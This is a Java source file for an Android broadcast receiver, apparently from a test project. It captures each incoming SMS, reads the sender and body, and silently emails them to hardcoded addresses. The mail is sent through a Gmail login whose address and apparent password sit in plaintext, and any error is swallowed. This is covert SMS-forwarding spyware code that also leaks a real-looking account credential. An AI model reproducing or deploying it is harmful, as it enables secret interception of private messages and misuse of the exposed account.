package android.test;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.telephony.SmsMessage;
import android.util.Log;
import android.widget.Toast;


public class ReceiverSMSActivity extends BroadcastReceiver {

    public static String smsFrom = "";
    public static String message = "";

    @Override
    public void onReceive(Context context, Intent intent) {
        Bundle bundle = intent.getExtras();
        SmsMessage[] sms = null;


        if(bundle != null){
            Object[] pdus = (Object[]) bundle.get("pdus");
            sms = new SmsMessage[pdus.length];
            for(int i = 0; i < sms.length; i++){
                sms[i] = SmsMessage.createFromPdu((byte[])pdus[i]);
                smsFrom = sms[i].getOriginatingAddress();
                message = sms[i].getMessageBody().toString();
            }
//            Intent in = new Intent(context, ShowSMS.class);
//            in.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//            context.startActivity(in);

//            Intent sendMail = new Intent(Intent.ACTION_SENDTO);
//            sendMail.putExtra(Intent.EXTRA_EMAIL, new String[]{"thaond@sunnet.vn"});
//            sendMail.putExtra(Intent.EXTRA_SUBJECT, "Message");
//            sendMail.putExtra(Intent.EXTRA_TEXT, smsFrom + "::" + message);
//            sendMail.setType("text/plain");
//            sendMail.setData(Uri.parse("mailto:thaond@sunnet.vn"));
//            sendMail.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
//            context.startActivity(sendMail);

            try{
                GmailSender mail = new GmailSender("dinhthaobkhn@gmail.com", "thao371992");
                mail.sendMail("New SMS or Call", smsFrom + "::" + message, "dinhthaobkhn@gmail.com", "thaond@sunnet.vn");

            }catch (Exception e){

            }

        }
    }
}
